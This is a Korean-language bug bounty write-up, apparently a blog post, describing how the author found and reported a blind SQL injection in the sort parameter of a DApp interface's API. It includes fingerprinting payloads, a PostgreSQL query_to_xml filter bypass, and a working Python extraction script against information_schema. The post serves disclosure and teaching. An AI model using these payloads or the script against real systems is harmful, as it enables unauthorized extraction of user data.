TL;DR
서론이 좀 깁니다.
핵심만 보실 분들은 “Find Vulnerability” 목차부터 읽어주시면 감사하겠습니다.
Summary
DApp(Decentralized Application)은 분산형 애플리케이션으로, 블록체인 네트워크를 통해 상호작용하고 데이터를 공유할 수 있도록 하는 애플리케이션을 의미합니다. 이더리움 메인넷, 바이낸스 스마트 체인(BSC) 등 메이저한 생태계를 포함해 다양한 체인이 존재합니다.
이더리움과 같이 스마트 계약(Smart Contract)을 지원하는 네트워크에 솔리디티, 바이퍼 등의 프로그래밍 언어를 활용해 컨트랙트를 개발하여 올린 다음 기존의 웹 사이트에 연결해 상호작용하여 동작하는 것이 일반적입니다. 웹 사이트 없이 컨트랙트 단독으로 사용할 순 있지만 사용자의 편의를 위해 기존 웹 사이트와 연동하여 주로 사용합니다. 이러한 웹 사이트를 Web3 UI, DApp 인터페이스라고 하며 DApp과 상호작용할 수 있는 새로운 구성 요소를 갖추고 있어야 합니다. (web3.js, ethers.js 등)
이것은 기존 웹 사이트에서 발생했던 취약점 역시 동일하게 발생할 수 있다는 것을 의미합니다. 한가지 재밌는 사실은 기존 웹 사이트에서의 XSS는 주로 쿠키 탈취 및 악성 사이트로 리다이렉션 용도로 사용되었기에(다른 취약점과 연계하는 경우는 예외) 버그바운티에서도 Server-side 취약점에 비해 Client-side 취약점은 파급력과 영향력을 낮게 책정했다면, DApp 인터페이스에서는 Client-side 취약점 또한 높게 책정합니다.
이유는 대부분의 DApp은 Metamask나 Liquality와 같은 브라우저 지갑과 연동해 사용할뿐더러, XSS로 웹사이트의 구성을 변경할 수 있다면 상호작용하는 DApp의 컨트랙트 주소를 변경하거나 임의의 트랜잭션을 요청하는 등 취약점 활용도와 영향력이 커졌기 때문에 Client-side 취약점 또한 Critical 군에 들어가는 경우가 많아졌습니다.
그럼 Server-side 취약점의 파급력이 낮아졌냐 하면, 그건 또 아닙니다. 오히려 DB를 사용하고 있는 곳이라면 사용자 계정 정보나 세션 토큰, OAuth 자격 증명 등 민감한 데이터를 훔칠 수 있고, 서버측 코드 실행이 가능하다면 페이지 구성이나 설정 자체를 바꿀 수 있습니다. 이 경우 공격자가 DApp이 참조하는 컨트랙트 주소를 해커의 컨트랙트로 교체하거나, 백엔드 API 호출을 변조하는 등의 직접적인 자산 탈취로 이어질 수 있습니다.
이 글에선 최근 DApp 인터페이스에서 찾아 제보한 Server-side 취약점인 SQL Injection 케이스를 다룹니다. 물론 SQL Injection 자체는 전통적인 웹 취약점이며, 사실 기술적으로 새로울 것이 없는 전형적인 케이스입니다. 다만 흥미로운 점은, 탈중앙화를 표방하는 DApp 인터페이스 역시 내부적으로는 여전히 전통적인 Web2 아키텍처를 기반으로 운영하고 있고 서비스의 특성으로 파급력은 더 커질 수 있다는 점입니다.
Find Vulnerability
약 1년간 Immunefi에 올라온 프로그램에서 솔리디티로 작성된 컨트랙트를 포함하여, 컨트랙트와 연동하여 상호작용하는 웹 인터페이스를 중점으로 버그 바운티를 해왔습니다. 여러 플랫폼을 보며 느낀점은 대부분이 비슷한 스펙으로 배포한다는 것인데요, 주로 Next.js를 기반으로 한 프론트엔드를 Vercel 같은 서버리스 플랫폼에 올리거나, 아예 웹 asset을 정적 파일로 빌드해 IPFS에 배포해 접근성을 보장하는 방식이었습니다.
이렇게 배포된 웹앱은 대부분 구조가 아주 단순했으며 컨트랙트와 상호작용하는 것 외에는 기능이 거의 없었기에, 취약점이 발생하는 스팟을 찾기 쉽지 않았습니다.
먼저 각종 프론트엔드 라이브러리의 버전을 체크하여 원데이를 정리해주는 스크립트는 작성해서 쭉 돌려보았지만, 큰 수확은 없었으며 이후 전략을 바꿔 다수와 다른 특이한 스펙을 가진 웹앱을 우선적으로 보는 방식으로 접근했습니다. 먼저 Immunefi의 모든 Web2 타겟을 돌아다니며 사이트별로 기술 스택을 정리/분류한 뒤, 나름 엄격하게 선별한 사이트만 Burp Suite를 실행한 다음 취약점을 찾아 나섰습니다.
선별한 기준은 같은 도메인에서 /api
로 시작하는 엔드포인트를 가지고 있는지, 단순 컨트랙트 상호작용 외에도 별도의 사용자 관련 기능(로그인, 회원가입, 마이페이지)이 있는지 등 기능의 다양성을 우선적으로 선별했습니다.
쭉 보다보니 다음과 같은 json 요청을 확인할 수 있었습니다.
{
"status":"online",
"page":1,
"sort":"tokenId",
"order":"desc"
"id":1
}
위 json에서 potential weak point를 찾으셨나요?
물론 다른 파라미터도 취약할 순 있지만, 특히 sort
와 order
파라미터는 항상 짚고 넘어가는 부분입니다.
경험상 prepared statement에서 데이터의 값을 비교 할 땐 바인딩을 ?
나 %s
키워드로 처리한다고 해도, ORDER BY절에 들어가는 컬럼 이름이나 차순(ASC/DESC)을 설정할 때 똑같이 ?
나 %s
로 바인딩 하게된다면 쿼터로 감싸진 string으로 인식하기 때문에 개발자는 SQL Syntax Error를 맞이하게 됩니다. 여기서 대처 방법에 따라 시큐어코딩에 능숙한 개발자와 미숙한 개발자로 나뉩니다.
시큐어코딩에 능숙한 개발자는 Whitelist를 지정하여 사용자 입력을 검사하거나 언어에서 지원하는 Built-in 기능을 통해 안전하게 구현하는 반면, string concat으로 사용자 입력을 query에 그대로 넣는 미숙한 개발자가 있습니다.
미숙한 개발자가 작성한 코드 예시(PHP, Go, Python):
PHP:
$sql = "SELECT * FROM table FROM id=? ORDER BY ${sort} ${order}";
Go:
sql := fmt.Sprintf("SELECT * FROM table WHERE id=? ORDER BY %s %s", sort, order)
Python:
sql = f"SELECT * FROM table WHERE id=%s ORDER BY {sort} {order}"
제가 보았던 DApp 인터페이스 개발자는 어떻게 처리했을까요?
먼저, 컬럼 이름이 들어가는 곳에 숫자를 넣어 1씩 증가시켜보았습니다.
"sort":"1" --> Normal response
"sort":"2" --> Normal response
"sort":"3" --> Normal response
...
"sort":"16" --> Normal response
"sort":"17" --> Unusual response with the message "Data not found"
16까지는 정상적인 응답을 하다가 17에서 기존과 다른 응답이 오는 것을 확인할 수 있습니다. 여기부터 1차 행복회로를 돌려도 되겠습니다. 모든 DB가 그렇진 않지만, 대부분의 관계형 DB는 ORDER BY에서 컬럼명 대신 컬럼의 순서를 숫자로 넣어줄 수 있습니다.
ORDER BY 3 DESC
이렇게 하면 “세번째 컬럼을 기준으로 내림차순 정렬하겠다” 라는 의미입니다. 여기서 만약 숫자가 해당 테이블의 컬럼 개수를 초과하면 SQL Error가 발생하게 됩니다.
여기에서 2차 행복회로를 돌리기 위해, 다양한 SQL 문법을 활용하여 SQL Injection 취약점인지 확인해보았습니다. 체크하는 방법은 많겠지만, 저는 주석처리(comment)와 괄호, 함수 등 다양한 방법을 활용해 취약점 유무와 DB 종류를 체크하였습니다.
"sort":"(tokenId)" --> Normal response
"sort":"tokenId)" --> Error
"sort":"tokenId/*AAAAAA*/" --> Normal response
"sort":"tokenId/**/AAAAAA" --> Error
"sort":"(/*B*/tokenId/*AAAAAA*/)/*B*/" --> Normal response
"sort":"(/*B*/ABCD/*AAAAAA*/)/*B*/" --> Error (ABCD컬럼이 존재하지 않기 때문에 오류 발생)
괄호와 주석이 잘 작동하는 것 같습니다.
"sort":"(SELECT(CHR(100)))" --> Normal response
"sort":"(SELECT(SUBSTR('a',1,1)))" --> Normal response
"sort":"(SELECT(VERSION()))" --> Normal response
"sort":"(SELECT/**/current_user)" --> Normal response
"sort":"(SELECT(ABCD('a',1,1)))" --> Error (ABCD함수가 존재하지 않기 때문에 오류 발생)
위의 응답 결과를 통해 SQL Injection이 발생하는구나 확신했으며, 다음의 query로 DB 종류를 알아낼 수 있었습니다.
"sort":"(SELECT(getpgusername()))" --> Normal response
"sort":"(SELECT(a()))" --> Error
PostgreSQL에만 존재하는 getpgusername
함수가 정상적으로 응답하는 것을 보아 타겟은 PostgreSQL을 사용중인 것을 알 수 있습니다.
Exploitation
취약점을 제보하기 위해서는, 원하는 데이터를 추출할 수 있는지 증명하기 위한 PoC 코드를 작성해야 합니다. ORDER BY절에서 발생한 SQL Injection이므로 비교하는 값이 참일 때와 거짓일 때를 기준으로 정렬되어 오는 응답이 다르다는 점을 이용해 Blind SQL Injection을 수행했습니다. 다음은 current_user를 가져오기 위한 페이로드입니다.
"sort": "id=(1+(SELECT\nCASE\nWHEN\n((SELECT\ncurrent_user)LIKE'{}%')\nTHEN\n1\nELSE\n0\nEND))"
스크립트 실행결과(자동화 스크립트는 뒤에 첨부):
extracted value: █
extracted value: ██
extracted value: ███
...
extracted value: ██████
이제 실제 유저 테이블에 접근하여 정보를 추출할 수 있는 PoC를 작성해야 합니다. (이 부분은 개인정보와 관련된 부분이기에 vendor와 충분히 소통하였으며 vendor의 요청 및 허락이 있었습니다)
PostgreSQL또한 MySQL과 마찬가지로 information_schema
DB에 모든 스키마 정보가 저장되어 있기에 해당 DB에 접근하기 위해서는 .
사용이 불가피합니다. (information_schema.columns
등)
여기서 한가지 문제점은 sort
파라미터로 .
문자와 whitespace를 사용할 수 없다는 애로사항이 있었는데요. Lord of SQL Injection 워게임을 통해 단련된 저에게 이것은 더 이상 애로사항이 아니었습니다. (Shout out Rubiya)
PostgreSQL에는 query_to_xml
이라는 좋은 기능을 제공합니다. 첫번째 인자로 query를 전달하면 해당 query를 실행한 결과를 xml로 반환해주는 함수입니다.
Query:
SELECT query_to_xml('SELECT VERSION()',true,true,'');
결과:
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><version>PostgreSQL 10.21 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-23), 64-bit</version> </row>
이렇게 첫번째 인자를 string으로 받기 때문에 CHR
함수와 string concat(||
)을 적절하게 활용하여 .
을 사용할 수 있었습니다.
SELECT xmlserialize(document(query_to_xml('SELECT/**/'''||CHR(46)||'''/**/AS/**/x',true,true,'')) AS text);
결과:
<row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <x>.</x> </row>
이제 information_schema.columns
에서 스키마 정보를 모조리 뽑아올 모든 준비가 완료되었습니다.
Payload:
"sort":"id=(1+(SELECT\nCASE\nWHEN\n((xmlserialize(document(query_to_xml('SELECT/**/(column_name)x/**/FROM/**/information_schema'||CHR(46)||'columns/**/LIMIT/**/1/**/OFFSET/**/1',true,true,''))\nAS\ntext))LIKE'%<x>{}%')\nTHEN\n1\nELSE\n0\nEND))"
Exploit(Python):
import requests
import json
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
url = "██████████████████████████████"
jwt = "██████████████████████████████"
headers = {
"Host": "███████████████",
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json",
"Authorization": f"Bearer {jwt}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
"Origin": "█████████████████████",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9,ko;q=0.8,zh;q=0.7,zh-CN;q=0.6,la;q=0.5,und;q=0.4,lb;q=0.3,vi;q=0.2",
"Connection": "close"
}
data = {
"parameters": [{
"status":0,
"page":1,
"sort":":INJECT POINT:",
"order":"desc"
"id":1
}],
}
payload = "id=(1+(SELECT CASE WHEN ((xmlserialize(document(query_to_xml('SELECT/**/(column_name)x/**/FROM/**/information_schema'||CHR(46)||'columns/**/LIMIT/**/1/**/OFFSET/**/1',true,true,'')) AS text))LIKE'%<x>{}%') THEN 1 ELSE 0 END))".replace(' ', '\n')
result = ""
for i in range(100):
for s in '123456789abcdefghijklmnopqrstuvwxyz:_':
data['parameters'][0]['sort'] = payload.format(result + s)
json_data = json.dumps(data)
response = json.loads(requests.post(url, headers=headers, data=json_data, verify=False).text)
if response['id'] == 55:
result += s
break
print('extracted value: ', result)
이렇게 information_schema
DB에 접근하여 테이블 정보와 컬럼 명을 추출했습니다. 위와 동일한 방법으로 유저 테이블에 접근해 데이터를 추출할 수 있습니다.
참고로 Python에서 requests를 활용한 HTTP 요청 코드를 쉽게 작성할 수 있도록 도와주는 서비스가 있습니다. 제가 만들었지만 지인들은 요긴하게 잘 사용하고 있으니 여러분도 사용해보세요.
Python request maker: https://withphp.com/prm/
Conclusion
이 글을 읽고, “이 취약점이 DApp 인터페이스에서만 발생하는 특별한 취약점인가?” 묻는다면, 그렇지 않습니다. 기존 여느 사이트에서 발생하는 일반적인 SQL Injection 공격 방법과 크게 다를 바 없지만, Web3와 상호작용하는 인터페이스 역할의 웹앱에서 발생한 취약점이고 기존의 Web2 취약점들이 DApp 인터페이스에서 동일하게 발생할 수 있으며(결국 같은 기술스택을 쓰기에) 이러한 취약점이 발생한다면 DApp 인터페이스인 만큼, 상호작용하는 컨트랙트 주소를 해커의 컨트랙트 주소로 변조하거나 기타 사이트 설정을 변경하는 등 DApp 인터페이스만의 다양한 악용이 가능합니다.
이렇게 리얼 월드에서 Blind SQL Injection을 통해 바운티를 얻기까지 여정에 대해 주저리 적어보았습니다. 거의 2년만의 포스팅이라 또 언제 돌아올진 모르겠지만 다음 포스팅에선 Nextjs + Vercel + Cloudflare Pages 조합에서 발견했던 Misconfiguration 취약점(Critical) 케이스에 대해서 다뤄보겠습니다.
여담으로 고등학생 시절부터 같이 CTF를 해오던 친구들과 함께 흥부(Heung)라는 DApp에 특화된 버그바운티 팀을 꾸려 열심히 버그바운티 활동을 하고 있습니다. 다양한 취약점을 찾아 제보하고 버그 케이스를 공유하며 서로 윈윈하고 있는데 나중엔 소규모의 버그 바운티 세미나도 열어볼까 합니다. 이렇게 취약점에 대해 직접 포스팅하는건 처음이지만 팀원 중 howdays군이 찾아낸 Critical 취약점 몇가지 더 첨부하고 끝내겠습니다. 긴 글 읽어주셔서 감사합니다.
약 $ 5,000,000 USD 가치의 취약점 관련 포스트 – smartBCH chain
약 $ 1,100,000 USD 가치의 취약점 관련 포스트 – Livepeer network
Shout out howdays.
Shout out kafuuchin0.
HeungBu Forever 🙂